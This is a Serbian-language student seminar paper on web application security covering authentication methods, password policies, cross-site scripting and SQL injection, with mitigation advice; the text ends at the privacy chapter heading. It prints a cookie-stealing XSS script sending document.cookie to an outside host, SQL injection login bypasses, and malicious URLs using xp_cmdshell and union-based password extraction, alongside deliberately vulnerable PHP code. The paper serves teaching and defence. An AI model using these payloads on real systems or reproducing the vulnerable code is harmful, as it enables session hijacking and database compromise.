ALFA BK UNIVERZITET

FAKULTET ZA MATEMMATIKU I RAČUNARSKE NAUKE

STUDIJSKI PROGRAM: RAČUNARSKE NAUKE

SEMINARSKI RAD

BEZBEDNOST WEB-A

Mentor: Student:

Aleksandar Zakić Semir Pljakić

Novi Pazar, 2018.god.

 SADRŽAJ

1. UVOD ............................................................................................................................................. 3
2. OSNOVNI BEZBEDNOSNI KONCEPT ................................................................................... 4
2.1. Webaplikacije ............................................................................................................................ 5
2.2. HTTP i bezbednost Webaplikacija ........................................................................................... 6
3. AUTENTIFIKACIJA .................................................................................................................. 6
3.1. Korisnička autentifikacija ......................................................................................................... 7
3.1.1. HTTPBasic ......................................................................................................................... 7
3.1.2. HTTPDigest ....................................................................................................................... 8
3.1.3. Autentifikacija na osnovuformi ......................................................................................... 9
3.1.4. Digitalni sertifikati (SSL iTLS) ....................................................................................... 10
3.2. Entitetskaautentifikacija ......................................................................................................... 10
3.2.1. Autentifikacija infrastrukture ........................................................................................... 10
3.2.2. Prevara sa IP adresama .................................................................................................... 11
4. BEZBEDNOSNI PROBLEMIPRI RADU WEB APLIKACIJA ........................................... 12
4.1. Napadi nakorisnike ................................................................................................................. 12
4.1.1. Cross-sitescripting............................................................................................................ 12
4.1.2. Mitigation Techniques (tehnike ublažavanja) .................................................................. 14
4.2. Napadi nasistem ...................................................................................................................... 15
4.2.1. Direktne SQLnaredbe ...................................................................................................... 15
4.2.2.Tehnike ublažavanja ......................................................................................................... 16
5. PROBLEMI PRIVATNOSTI ................................................................................................. 17
5.1. Opasnosti pri upotrebi javnih Web browser-a ........................................................................ 17
5.2. Upotreba ličnih podataka ........................................................................................................ 18
5.3. Opcija «Browser History» ...................................................................................................... 18
6. ZAKLJUČAK .......................................................................................................................... 19
7. LITERATURA ......................................................................................................................... 20

2
1. UVOD

Ekspanzija popularnosti Interneta koja se odigrala u prethodnoj deceniji, kao i

promovisanje Web browsera kao platforme za distribuciju aplikacija, doveli su do toga da
razvoj Web aplikacija predstavlja oblast u kojoj se računari danas najviše koriste.

Web bezbednošću se oduvek bavila mala grupa ljudi koja se obicno fokusirala na
bezbednost mreža i operativnih sistema. Pojavom sve složenijih Web aplikacija i Web
servisa kao i činjenica da se na njima nalazi velika količina poverljivih informacija
povlači sa sobom veliku odgovornost programera koji ih kreiraju.

Rad se sastoji iz više celina. U prvom poglavlju predstavljeni su osnovni

bezbednosni koncepti, pojmovi Web aplikacija i Web servis, kao i mesto i uloga HTTP
protokola u bezbednosti Web aplikacija.

Tema drugog poglavlja je autentifikacija kao najosetljiviji deo Web aplikacije.

Predstavljeni su tipovi autentifikacije, načini na koji funkcionišu, kao i prednosti i mane
svakog.

Naredno poglavlje se odnosi na mehanizme upravljanja korisničkim sesijama, bez

kojih se ne može zamisliti ni jedna Web aplikacija.

Naredna tri poglavlja se odnose na kontrolu pristupa i autorizaciju, praćenje rada

(logging), i validaciju podataka.

U poglavlju «Bezbednosni problemi Web aplikacija» opisani su načini na koji se

vrše «napadi» na Web aplikaciju, kao i rešenja za njihovo sprečavanje ili ublažavanje.

Osmo poglavlje diplomskog rada bavi se privatnošću korisnika Web aplikacija.

U poslednjem poglavlju ovog rada prikazana je konkretna realizacija intranet Web

aplikacije namenjena timskom radu na projektima, uz osvrt na prethodno izloženu
metodologiju.

3
2. OSNOVNI BEZBEDNOSNI KONCEPT

Osnovni bezbednosni koncepti koji su važni za informacije na Internetu su

raspoloživost, integritet i poverljivost.

Raspoloživost se primarno definiše kao mogućnost sistema da pruži uslugu

ovlašćenom korisniku.Ovlašćeni korisnici su korisnici kojima su namenjene usluge
sistema kako je naznačeno u njegovoj specifikaciji.Svi ostali korisnici osim ovlaštenih
korisnika smatraju se neovlaštenim korisnicima.

Bezbednost
informacija

Poverljivost Integritet Raspoloživost

prevencija prevencija prevencija
neovlašćenog neovlašćene neovlašćenog
otkrivanja modifikacije zadržavanja
informacija informacija informacija

Integritet predstavlja prevenciju neovlašćene modifikacije, brisanja ili uništavanja

elemenata sistema. Integritet je narušen u slučaju napada, koji obično izvršavaju
neovlašćeni korisnici, ali koji takođe može izvršiti i ovlašćeni korisnici koji
zloupotrebljavaju svoja ovlašćenja. Zbog toga integritet karakteriše mogućnost sistema da
se odupre napadima.

Poverljivost je mogućnost sistema da onemogući neovlašćenim korisnicima

pristup poverljivim informacijama. U stvarnosti time se definiše do koje mere neka
informacija treba da je dostupna, odnosno nedostupna neovlašćenim korisnicima.
Poverljivost se takođe može posmatrati u širem smislu, odnosno kao prevencija pružanja
usluge neovlašćenim korisnicima, čak i ako pružanje takve usluge ne bi značilo štetu za
ovlašćene korisnike ili otkrivanje tajnih informacija.

Bezbednosni koncepti koji se odnose na osobe koje koriste informacije su

autentifikacija, autorizacija i neporecivost.

Da bi učinili informaciju dostupnom onome kome je potrebna i kome se može

verovati koriste se autentifikacija i autorizacija.Autentifikacija je proces utvrđivanja da li
je korisnik, odnosno entitet, ono što tvrdi da jeste.Autorizacija podrazumeva proveru da
li određeni korisnik (ili sistem) ima dozvolu da vrši određenu akciju, pod pretpostavkom
da se prethodno autentifikovao. Neporecivost je mogućnost sistema da onemogući
korisniku poricanje prethodno izvršeneakcije.
4
2.1. Webaplikacije

Web aplikacije imaju klijent/server arhitekturu koja omogućuje interakciju sa

korisnicima ili drugim sistemima koristeći HTTP protokol. Za korisnike, klijent je
najčešće Web browser kao što je Internet Explorer ili Netscape Navigator. Krajni korisnik
vidi Web stranice i on je sposoban da vrši interakciju slanjem izbora. Funkcije koje se
izvode mogu biti jednostavni zadaci kao pretraga lokalnog direktorijuma do visoko
sofisticiranih aplikacija koje vrše npr. prodaju u realnom vremenu, B2B i B2C...

Tehnologije koja omogućavaju rad Web aplikacija veoma se brzo razvijaju.

Tradicionalno jednostavne aplikacije, pravljene sa CGI (Common Gateway Interface),
obično su pokretane na Web serveru povezane na jednostavnije baze podataka ( takodje
na istom serveru). Moderne aplikacije su tipično napisane u Javi (ili sličnim jezicima ) i
pokretane na aplikacionim serverima povezane sa više bazapodataka.

Nivo prezentacije Aplikacioni nivo Nivo podataka

Nivo prezentacije je odgovoran za prezentovanje podataka ka krajnjem korisniku

ili sistemu. Web server pruža podatke, a Web browser ih «slaže» u čitljivu formu koju
korisnik može da interpretira.To takodje dopušta korisniku da odgovori slanjem povratnih
parametara koje Web server propušta kroz aplikaciju. Ovaj nivo prezentacije uključuje
Web servere kao što su npr. Apache i MS IIS.On takodje može uključiti komponente
aplikacije koje kreiraju izgledstranice.

Aplikacioni nivo je pokretač Web aplikacije. On omogućava realizaciju poslovne

logike, obradu ulaznih podataka, donošenje odluka, upotreba više podataka i
prezentovanje istih do nivoa prezentacije za slanje korisniku. Nivo aplikacije može
uključiti tehnologije kao što su: CGI, Java, .NET servisi ili PHP.

Nivo podataka se koristi za skladištenje podataka potrebnih za aplikaciju i

odgovoran je za privremene i stalne podatke. Savremeni sistemi skladište podatke u XML
formatu radi lakše komunikacije sa drugimsistema.

Web servisi predstavljaju kolekciju funkcija koje su upakovane kao celina i

publikovane na mrežu za upotrebu od strane drugih programa. Web servisi su namenjeni
za kreiranje otvorenih distributivnih sistema koji omogućavaju kompanijama i
individualnim korisnicima da brzo i jeftino učine da svoje informacije dostupnim širom
svetske mreže.Jedan Web servis može koristiti drugi da napravi bolje karakteristike za
krajnjeg korisnika.Web servisi za iznajmljivanje automobila i avio prevoz su primeri.
Web servisi se zasnivaju na XML-u (extensible Markup Language) i SOAP-u (Simple
Object Access Protocol).

5
2.2. HTTP i bezbednost Webaplikacija

Sa tehničke strane, osnovni protokol na mreži je HTTP protokol. Njegova

jednostavnost načinila ga je vrlo popularnim. Protokol radi na aplikacionom nivou.
Klijent šalje zahtev HTTP serveru, HTTP server interpretira zahtev i šalje odgovarajući
odgovor klijentu.

HTTPklijent HTTPserver

Aplikacioni Aplikacioni
nivoNivo nivoNivo
prezentacij prezentacij
eNivo eNivo
sesijeTrans sesijeTrans
portni portni
nivoMrežni nivoMrežni
nivoNivo nivoNivo
podatakaFiz podatakaFiz
ički nivo ički nivo

HTTP zahtev predstavljen preko OSI referentnog modela

Kada je Web aplikacija postavljena naWeb server, korisnici šalju HTTP zahteve za
određene stranice. Napadi zlonamernih korisnika koji se nalaze u tim zahtevima, bez
ikakvih prepreka prolaze kroz firewall-ove zato što su oni deo legalnog HTTP zahteva.
Završni udarac su daliWeb servisi (REST, XML i SOAP), koji omogućavaju da se kroz
samo jedan port provuku razni formatidokumenata.

3. AUTENTIFIKACIJA

Autentifikacija je proces utvrđivanja da li je korisnik, odnosno entitet, ono što

tvrdi da jeste.

Često dolazi do zabune šta je autentifikacija, a šta je upravljanje sesijama (session

management). Korisnici su obično autentifikovani sa korisničkim imenom i lozinkom ili
sličnim mehanizmom. Kada je prvi put uspešno izvršena autentifikacija, sesijski token
(session token) je postavljen u korisnikov browser, skladišten u cookie. To omogućava
browseru da pošalje sesijski token svaki put kada je upućen novi zahtev, što predstavlja
entitetsku autentifikaciju. Korisnička autentifikacija se vrši samo jednom u toku sesije,
dok se entitetska autentifikacija vrši prilikom svakog zahteva.
6
 Postoje dva tipa autentifikacije:

 Korisnička autentifikacija je proces određivanja da li je korisnik ono što tvrdi da

jeste.
 Entitetska autentifikacija je proces određivanja da li je entitet (sesijski token) onošto
tvrdi da jeste.

Razmotrimo situaciju kada korisnik pristupa stranicama za administraciju jednog

elektronskog trgovinskog sajta. Posle uspešno obavljene korisničke autentifikacije sistem
vrši entitetsku autentifikaciju koja je potrebna u slucaju da želimo da pređemo na neku
drugu stranicu, a da izbegnemo ponavljanje korisničke autentifikacije.

3.1. Korisnička autentifikacija

3.1.1. HTTPBasic

HTTP protokol definiše jednostavan okvir za autentifikaciju. HTTP klijent, npr.

Web browser šalje zahtev serveru za pristup zaštićenim stranicama, Web server vraća
klijentu HTTP 401 statusni kod:

HTTP/1.1 401 Authorization Required

Zatim klijent šalje drugi zahtev ovaj put uključujući Authenticate header koji
sadrži njegove akreditive za serverov upit. Ako server prihvati akreditive klijenta poslaće
traženu stranicu, u suprotnom šalje odgovor 401 neautorizovanog pristupa da obavesti
klijenta da je autentifikacija propala.1

Postoji više načina za obavljanje korisničke autentifikacije preko HTTP-a.

Najjednostavniji metod je HTTP Basic autentifikacija.

HTTP Basic autentifikacija se zasniva na modelu da se korisnik mora

autentifikovati sa korisničkim imenom i lozinkom (koji se obično unose u dialog box) za
svaki domen. Oni se šalju serveru odvojeni karakterom “:”, kriptovani base64 metodom.

HTTP Basic autentifikacija je nesiguran metod filtriranja neautorizovanog

pristupa resursima na HTTP serveru. Ona je bazirana na pretpostavci da je veza između
klijenta i servera sigurna. Takođe,ova autentifikacija ima problem da ne postoji
mehanizam za “logout”, što pri upotrebi jednog Web browser-a od strane više korisnika
stvara problem.

1
"Professional PHP Web Services"; James Fuller, Harry Fuecks, Ken Egervari, Bryan Waters, Daniel Solin,
Jon Stephens, Lee Reynolds; Wrox Press 2003.

7
3.1.2. HTTPDigest

Postoje dve forme HTTP Digest autentifikacije koje su napravljene da spreče

problem presretanja korisničkog imena i lozinke. Originalna specifikacija je razvijena
kao jedna ekstenzija za HTTP 1.0, a unapređena je za HTTP 1.1. Svrha HTTP Digest
autentifikacione šeme je da omogući korisnicima da dokažu svoje korisničko ime i
lozinku bez otkrivanja aktuelne lozinke.HTTP Digest mehanizam koristi MD5 hash
algoritam. Mehanizam HTTP Digest autentifikacije razvijen je da omogući generalnu
upotrebu, jednostavnu implementaciju i autentifikacioni mehanizam koji se može koristiti
preko kanala koji nisukriptovani.

Važan deo pri sprovođenju autentifikacije je slanje dodatnih podataka. U slučaja

da se sa zahtevom ne šalju jedinstveni podaci napadač bi bio u mogućnosti da
jednostavno ponovidigest.

Proces autentifikacije počinje sa odgovorom 401 - neautorizovani pristup, kao i

kod HTTP Basic autentifikacije. Zagljavlje WWW-Authenticate header, koje zahteva
eskplicitnu autetifikaciju se dodaje, nakon čega se generiše dodatni parametar nonce i
izračunava digest.

Ovako izgleda izračunavanje:

1. string “A1” se sastoji od korisničkog imena, oblasti i lozinke koji su spojeni
dvotačkama:
owasp:users@owasp.org:password,
2. Izračunava se MD5 hash ovih stringova (128 bitni heksadecimalniizlaz),
3.String “A2” se sastoji od HTTP metoda i URI-a (npr. GET:/index.php),
4.Izračunava se MD5 hash funkcija od“A2”,
5. Spajaju se A1 i A2 sadvotačkama,
6. Izračunava se MD5 hash funkcija ovakvogstringa.2

Kao što je već rečeno, HTTP 1.1 specificira unapređenu digest šemu, koja pruža dodatno
zaštitu za:
-napade ponavljanjem,
-obostranu autentifikaciju,
-integritet zaštite.

2
"Professional PHP Web Services"; James Fuller, Harry Fuecks, Ken Egervari, Bryan Waters, Daniel Solin,
Jon Stephens, Lee Reynolds; Wrox Press 2003.

8
 Digest šema u HTTP 1.0 je osetljiva na napade ponavljanjem. Ovo proizilazi iz
toga što napadač može da ponovi tačno izračunati digest za isti resurs, te da pošalje isti
zahtev serveru. Poboljšana digest šema u HTTP 1.1 uključuje NC parametar ili brojanje
nonce-a u autorizaciono zaglavlje. Ovaj osmocifreni broj u heksadecimalnoj predstavi se
uvećava svaki put kada klijent podnese zahtev sa istim nonce-om. Server mora da proveri
da li je NC veći od poslednje primljene NC vrednosti koju je primio, te da ne uvaži
ponovljene zahteve. Druga poboljšanja HTTP 1.1 šeme su integritet zaštite i obostrana
autentifikacija, što klijentima omogućuje da autetifikuje servere, kao i serverima da
autentifikuje klijente.

3.1.3. Autentifikacija na osnovuformi

Umesto oslanjanja na autentifikaciju na nivou protokola, Web bazirane aplikacije

koriste kod sadržan u samim Web stranicama. Ovo omogućava projektantima da
predstave zahtev za korisničkim podacima (korisničko ime i lozinka) kao normalni deo
aplikacije sa svim HTML mogućnostima koje se odnose na internacionalizaciju i
pristupačnost.

Od suštinske važnosti je da se forme autetifikacije podnose upotrebom HTTP

POST zahteva, detaljniji pregled će biti dat u daljem tekstu. HTTP GET zahtev se
pojavljuje u history-u korisnikovog browsera, tako da korisničko ime i lozinka mogu biti
vidljivi i ostalim korisnicima istog browsera.

Uobičajena šema u Web aplikacijama je da se korisniku prethodno popune polja

kad god je to moguće. Korisnik koji se vraća na prethodno korišćenu aplikaciju može
želeti da potvrdi informacije o svom profilu. Većina aplikacija će prethodno popuniti
formu sa trenutno važećim podacima i zahtevati od korisnika da izmeni podatke koji su
netačni. Polja sa lozinkama aplikacija nikada ne treba da popunjava. Najbolji pristup je
da se ostavi prazno polje za lozinku i da se od korisnika zahteva da potvrdi trenutnu
lozinku, kao i dva polja za unos i potvrdu nove lozinke. U većini slučajeva stranica za
izmenu lozinke treba da se nalazi odvojeno od ostalih podataka vezanih za korisnički
profil. Ovakav pristup ima dve prednosti. Korisnici mogu nepažnjom da ostave prethodno
popunjenu formu na ekranu dopuštajući pri tome, nekome sa fizičkim pristupom
računaru, da otkrije lozinku. Isto tako, ako aplikacija dopusti (kroz neki bezbednosni
propust) drugom korisniku da vidi stranicu sa prethodno popunjenom lozinkom za nalog
drugog korisnika, “View Source” će ponovo otkriti lozinku u vidu običnogteksta.

Primedba: autentifikacija zasnovana na formama zahteva od projektanata sistema

da izgrade autentifikacioni protokol koji će se nositi sa istim problemima koji se
pravazilaze upotrebom HTTP digest-a. Projektanti moraju obratiti pažnju na sledeće:
ukoliko nije upotrebljen SSL, forme podnete upotrebom HTTP GET ili HTTP
POST zahteva, podatke (korisničko ime i lozinku) prenose u vidu običnog teksta.

9
3.1.4. Digitalni sertifikati (SSL iTLS)

SSL (Secure Socket Layer) i TLS (Transport Layer Security) mogu da obezbede
klijentsku, serversku ili obostranu autetifikaciju entiteta. Detaljni opisi mehanizama
mogu se naći u SSL i TLS delovima ovog rada.Digitalni sertifikati su mehanizmi za
autentifikaciju sistema, a pored toga predstavlaju i mehanizam za distribuciju ključeva u
kriptografskim razmenama (uključujući i autentifikaciju po potrebi).Razni formati
sertifikata nalaze se u upotrebi.Najšire prihvaćen je X509 v3 sertifikat International
Telecommunication Union-a (pogledati RFC 2459).Još jedan raširen kriptografski
protokol za poruke je PGP.Iako su delovi komercijalnog PGP-a svojinski zaštićeni,
OpenPGP Alliance predstavlja grupe koje koriste OpenPGP standard (RFC2440).

Digitalni sertifikati se najviše koriste u Web sistemima pri konektovanju na

bezbedne (secure) Web sajtove (SSL). Većina Web sajtova radi isključivo sa
autentifikacijom na serverskoj strani, čak i ako je autentifikacija na strani klijenta
moguća.

Za sisteme visoke bezbednosti autentifikacija na klijentskoj strani je neophodna,

tako da je potrebno postaviti i šemu za distribuciju sertifikata.

3.2. Entitetskaautentifikacija

Upotreba cookie-a
Cookie-ji se često koriste za autentifikaciju korisničkog browser-a, kao deo mehanizma
za upravljanje sesijama. Ova tematika je detaljnije opisana u delu koji se odnosi na
upravljanjesesijama.

Napomena o referer zaglavlju:

Referer zaglavlje se šalje sa HTTP zahtevom klijenta da bi se utvrdilo na koj način je
klijent došao do URL-a tražene stranice. Ovakav način na prvi pogled može da se učini
zgodnim za proveru da li korisnik pratio korake u određenoj aplikaciji ili je URL dobio sa
poverljivog domena (trusted domain). Međutim, ovakvo zaglavlje stvara korisnikov
browser, tako da korisnik može da menja ovo zaglavlje, te ga zbog toga ne bi trebalo
koristiti za autentifikaciju.

3.2.1. Autentifikacija

infrastruktureDNSnazivi
Česte su situacije u kojima aplikacija treba da autentifikuje druge servere ili aplikacije. IP
adrese ili DNS nazivi su naizgled načini za autentifikaciju. Međutim usled specičfinih
nedostataka vezanih za bezbednost DNS-a, ova metoda bi trebalo da se koristi jedino za
brzu i letimičnu proveru.

10
3.2.2. Prevara sa IP adresama

Prevare sa IP adresama moguće su pod određenim okolnostima, tako da bi projektanti trebalo to da

imaju na umu. U opštem slučaju trebalo bi koristiti gethostbyaddr() , umesto gethostbyname(). Za
jaču autentifikaciju treba upotrebiti X.509 sertifikat ili implementirati SSL.

2.1. Sistemi autentifikacije zasnovani na lozinkama

Korisnička imena i lozinke su danas najčešći način autentifikacije. Usled različitih zahteva koje
šema održavanja lozinki treba da zadovolji, lozinke su često najslabija karika u arhitekturi
autentifikacije. Ovo je najviše zbog ljudskog faktora, te se samo donekle može ublažiti tehničkim
sredstvima. U daljem tekstu su data različita rešenja, svaka sa svojim prednostima i manama. Kao i
uvek, sistemi za implementaciju autentifikacije bi trebalo da procenjuju rizik i prednosti za svaki od
mogućih modela pretnje.

Korisnička imena
Iako korisnička imena sama po sebi nisu zahtevna sa aspekta bezbednosti nije loše uvesti neka
ograničenja za korisnička imena. Ime koje je na neki način izvedeno od korisnikovog ličnog imena
može napadaču da nagovesti o kome se radi i sl. Druga korisnička imena, kao na primer, broj
socijalnog ili poreski broj mogu imati i zakonske posledice. Email adrese nisu dobra korisnička
imena iz razloga opisanih u daljem tekstu.

Skladištenje korisnčkih imena i lozinki

Svaki sistem mora da sadrži skladište sa korisničkim imenima i odgovarajućim lozinkama koje će
se koristiti u procesu autentifikacije. Ovakav pristup se još uvek primenjuje kod Web aplikacija
koje koriste ugrađena skladišta podataka u operativnom sistemu, kao što je Windows NT. Ovakva
skladišta moraju biti bezbedna. Lozinke ne bi trebalo da budu dostupne administratorskim
korisnicima na uvid. Deosta je česta tehnika da se nad lozinkama koriste hash fukcije (kao što je
SHA-1).

Sprovođenje kvaliteta lozinki

Pojam kvaliteta lozinke se odnosi na entropiju lozinke i od presudne je važnosti za bezbednost
korisničkih naloga. Dobru lozinku je nemoguće pogoditi. Tipična lozinka ima najmanje osam
karaktera, pri čemu jedan alfanumerik, upotreba malih i velikih slova, jedan specijalan karakter (a
da nije u A-Z ili 0-9). U Web aplikacijama posebnu pažnju treba posvetiti metakarakterima.

Zaključavanje lozinki
Ako se napadaču ne spreči, on lozinke nagađa veći broj puta. Vrlo je verovatno da će
pogoditi..Mehanizme sprečavanja nagađanja lozinke trebalo bi postaviti tako da blokiraju nalog u
slučaju kada broj pokušaja logovanja pređe neku unapred zadatu vrednost.Preporučljiv broj
pokušaja logovanja je pet.Ovakvi mehanizmi, međutim imaju nedostatke. Moguće je da napadač
pokuša da pogodi veći broj slučajno izabranih lozinki na poznatim nalozima te tako zaključa ceo
sistem korisnika. Kako sistem zaključavanja lozinki treba da štiti od napada, logična strategija je da
se korisnički nalozi zaključaju na

nekoliko sati. Na ovaj način napadač će se značajno usporiti, dok će pravim korisnicima pristup biti
i dalje omogućen.
11
Starenje i istorija lozinki
Rotacija lozinki je u opštem slučaju dobra stvar. Ovo daje lozinkama odgovarajući životni vek.
Naravno ako se od naloga koji već “provaljen” zatraži da obnovi svoju lozinku sve prednosti
nestaju.

Sistem za resetovanje lozinki

Sistemi za resetovanje lozinki su u širokoj upotrebi.Oni omogućavaju korisniku da resetuje svoju
lozinku odmah bez pozivanja administratora. Ovo dovodi do izlaganja korisničkog naloga riziku u
slučajevima kada je lozinku potrebno promeniti korisniku koji ne može da se autentifikuje.

Postoji nekoliko strategija kojima se ovo izvodi. Jedna je da se definiše skup pitanja koja se
postavljaju nekome ko tvrdi da je korisnik. Ova pitanja bi trebalo da budu u slobodnoj
formi.Aplikacija treba korisniku da dozvoli da izabere skup svojih pitanja i odgovora, a ne da
koristi ista pitanja za sve korisnike.Na ovakav način stepen entropije se znatno uvećava.

Potrebno je obratiti pažnju da se u okviru iste sesije nikada ne podnose na potvrdu zajedno pitanja i
odgovori. Na primer za vreme registracije klijentu se može slati ili pitanje ili odgovor, ali nikada
oba zajedno. U slučaju kada sistem koristi email adrese za dostavljanje novih lozinki korisnicima,
lozinke bi trebalo da se promene prvi put kada se novi korisnik loguje sa promenjenom lozinkom.

4. BEZBEDNOSNI PROBLEMI PRI RADU WEB APLIKACIJA

4.1. Napadi nakorisnike

4.1.1. Cross-sitescripting

Cross-site scripting je privukao veliku pažnju javnosti. Ime potiče od CERT

saveta, CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web
Requests (http://www.cert.org/advisories/CA-2000-02.html). Napadi se uvek odnose na
korisnike sistema, a nikada na sam sistem. Naravno, ako je korisnik administrator sistema
to je sasvim druga priča.Sam postupak napada biće predstavljen preko sledećeg primera.

Korisnik se prevarom navodi da napravi specifičan i pažljivo projektovan HTTP

zahtev. Napadač je prethodno otkrio aplikaciju koja ne filtrira ulaz, te će vratiti korisniku
traženu stranicu sa dodatim malicioznim kodom koji je dodat sa zahtevom. Kada Web
server primi zahtev za stranicom on šalje traženu stranicu zajedno sa delom koda koji je
tražen. Kada korisnikov browser primi novu stranicu, maliciozni kod se raspakuje i
izvršava.

Moderni skript jezici, koji se izvršavaju sa klijentske strane, više ne vrše samo
formatiranje strana, nego su sposobni da izvršavaju veći broj akcija. Klijenti prevarom
mogu biti uvučeni u izvršavanje većeg broja različitih funkcija što može biti opasno.Ako
12
 napadač odabere Web aplikaciju za koju je korisnik autentifikovan, skript može da vrši
funkcije u ime korisnika.

Napad se odvija na taj način da napadač, kroz propuste u samom skriptu, preko
Web servera, korisniku (koji je meta napada) pošalje stranicu koju je korisnik i zahtevao,
međutim, koja je ujedno i zaražena malicioznim kodom. Maliciozni kod se tada pokreće
uz odobrenje legalnog skripta poslatog sa legitimnog Web servera.

Kroz sledeći primer biće prikazani mogući propusti u PHP aplikacijama koji
dozvoljavaju CSS napade.Pretpostavka je da je korisnik prošao fazu autentifikacije i
sesija je započeta, tako da korisnik poseduje validni sesijski token.Korisnik upotrebljava
Web aplikaciju namenjenu pregledanju elektronske pošte.Ukoliko se prilikom ispisa
naslova svake pojedine poruke, on ispisuje bez proveravanja, postoji mogućnost CSS
napada. Deo koda namenjen za ispis je:3

<?php
echo "<TD>". $naslov. "</TD>";
?>

U ovom slučaju napadač može naslovu poruke elektronske pošte pridružiti

JavaScript kod koji je dizajniran da otuđi korisnikov sesijski token. Kada korisnik zatraži
stranicu koja ispisuje poruke elektronske pošte, JavaScript kod će se automatski
pokrenuti i preusmeriti korisnika na specificiranu URL adresu, zajedno
sasesijskimtokenom. Napadač mora proveriti zapise koji su pristigli na ovakav načini i
može preuzeti korisničku sesiju. JavaScript kod koji bi omogućio opisan način napada
mogao bi izgledati ovako:

<script>self.location.href=http://www.nesiguran.com/getCookie?cookies=+escape(docu
ment. cookie)
</script>

3
"Criptography and Network Security: Principles and Practice"; William Stallings; Prentice-Hall, Inc. Upper
Saddle River, New Jersey 1998.

13
4.1.2. Mitigation Techniques (tehnike ublažavanja)

Sprečavanje cross site scriptinga je zahtevan zadatak posebno za široko

distribuirane Web aplikacije. Sa stanovišta arhitekture, ako svi zahtevi dolaze na
centralnu lokaciju i odlaze sa centralne lokacije, problem je lakše rešiti opštom
komponentom.

Ako prihvatite preporučenu strategiju validacije, tj.prihvata se samo očekivan

ulaz, problem se znatno smanjuje (osim u slučaju kada je potrebno da HTML bude ulaz).
Moramo naglasiti da je ova strategija daleko najbolja.

U PHP-u, ovakva ranjivost bi se mogla ispraviti upotrebom htmlspecialchars()

funkcije, koja konvertuje specijalne karaktere u HTML entitete. U ovom konkretnom
primeru, biće konvertovani karakteri < i > u njihove odgovarajuće entitete: &lt i &gt.
Prilikom učitavanja Web stranice ništa se neće dogoditi jer će ovi entiteti korisnikovom
Web browseru ukazivati na običan tekst a ne specijalne karaktere.

http://www.cert.org/tech_tips/malicious_code_mitigation.html

14
4.2. Napadi nasistem

4.2.1. Direktne SQLnaredbe

Kod nekih aplikacija se ne vrši validacija korisničkog unosa, što znači da je

zlonamernom korisniku omogućen direktan pristup bazi podataka.Ovakav napad,
poznat kao SQL injection, je iznenađujuće jednostavan. Pretpostavimo da Web
aplikacija dopušta korisniku izmenu lozinke, što je slučaj sa većinom Web aplikacija.
Korisnik se loguje i kreće kroz stranicu sa opcijama za korisnčki nalog, odabira
promenu lozinke, zatim unosi staru i novu lozinku, dva puta zbog sigurnosti .Korisniku
je naizgled ovo sasvim jasan proces.Kada korisnik unese staru i dva puta novu lozinku
u Web obrazac, browser upućuje HTTP zahtev Web aplikaciji i šalje joj podatke.Zbog
zaštite podataka u tranzitu, ovo bi trebalo da se vrši preko SSL-a. Tipičan kod za
autentifikaciju bi izgledao ovako:

$sql="SELECT * FROM users WHERE username='$username'

ANDpassword='$password'";
$res = $conn-
>Execute($sql); if ($res-
>RecordCount()==0)
$boolAuthenticated=false;
else
$boolAuthenticated=true;

Korisnik je preko forme poslao serveru svoje korisničko ime i lozinku koji se
unose u SQL upit i prosleđuju bazi podataka. U bazi podataka se proverava da li
postoji slog koji sadrži zadate akreditive. U slučaju da postoji, korisnik je prošao
autentifikaciju.

Ukoliko je korisnik u formu za autentifikaciju uneo sledeći kod:

Korisničko ime: ' OR '1'='1

Lozinka: ' OR '1'='1

Vrednost promenljive $sql će biti:

$sql="SELECT * FROM users WHERE username='' OR '1'='1' AND password=''OR

'1'='1'";

Što znači da će aplikacija smatrati korisnika autentifikovanim jer je uslov '1'='1'

uvek ispunjen.

Posledice su razarajuće.Napadač je u mogućnosti da menja administratorske

lozinke po svom nahođenju, onemogućavajući pristup pravim vlasnicima sistema i

15
 otvarajući sebi neograničen pristup. Loše projektovana Web aplikacija omogućava
hakerima da proizvoljno skidaju prvobitni i postavljaju svoj sadržaj na službenim
sistemima. U prethodnom primeru upotrebljena je tehnika ubacivanja dodatnog upita
na prvobitni upit bazi podataka. SQL injection može da se upotrebi i za:
-izmenu SQL vrednosti,
-proširivanje SQL izraza,
-dodavanje funkcija poziva i procedura za skladištenje postojećim SQL naredbama,
-modifikacija izlaznih podataka.

Izmena SQL vrednosti:

UPDATE usertable SET pwd='$INPUT[pwd]' WHERE uid='$INPUT[uid]';

Maliciozni HTTP zahtev:

http://www.none.to/script?pwd=ngomo&uid=1'+or+uid+like'%25admin%25';--
%

Proširivanje SQL naredbi:

SELECT id,name FROM products WHERE id LIKE '%$INPUT[prod]%';

Maliciozni HTTP zahtev:

http://www.none.to/script?0';insert+into+pg_shadow+usename+values+('hoschi'
)

Dodavanje funkcija poziva i procedura za skladištenje postojećim SQL naredbama

SELECT id,name FROM products WHERE id LIKE '%$INPUT[prod]%';

Maliciozni HTTP zahtev:

http://www.none.to/script?0';EXEC+master..xp_cmdshell(cmd.exe+/c)

Modifikacija izlaznih podataka:

SELECT id,t_nr,x_nr,i_name,last_update,size FROM p_table WHERE size =

Maliciozni HTTP zahtev:

http://www.none.to/script?size=0'+union+select+'1','1','1',concat(uname||'-
'||passwd)+as+i_name+'1'+'

4.2.2.Tehnike ublažavanja

Sprečavanje SQL injection-a je zahtevan zadatak posebno za velike Web

sisteme, sastavljene iz više aplikacija. Filtriranje SQL naredbi neposredno pre

16
 izvršavanja smanjuje rizik od pogrešnog filtriranja. Primena preporučene strategije za
validaciju ulaznih podataka značajno smanjuje problem, međutim ovakav pristup ne
može da zaustavi sve SQL injection napade. Pored toga mogu se javiti teškoće pri
implementaciji u slučaju kada algoritam filtriranja treba da odluči da li dotični podaci
treba da postanu deo upita ili ne, a potrebno je da algoritam prepozna na koju bazu
podataka se takav upit odnosi. Na primer, korisnik koji u obrazac unese prezime
“O’Neil” ujedno unosi i specijalan metakarakter (’).Unos ovakvog karaktera mora biti
dozvoljen pošto je to sastavni deo imena. Međutim, ne može se dozvoliti da ovakav
karakter postane deo upita za bazu podataka, te njegovo izbegavanje može biti
neophodno. Različite baze podataka zahtevaju da se različiti karakteri izbegavaju na
razne načine, te je potrebno za svaku bazu poznavati karaktere koje je potrebnosanirati.

Korisni linkovi:

http://www.sqlsecurity.com/faq-
inj.asphttp://www.spidynamics.com/papers/SQLInjectionWhitePap
er.pdfhttp://www.nextgenss.com/papers/advanced_sql_injection.pdf
http://www.nextgenss.com/papers/more_advanced_sql_injection.pd
f

5. PROBLEMI PRIVATNOSTI

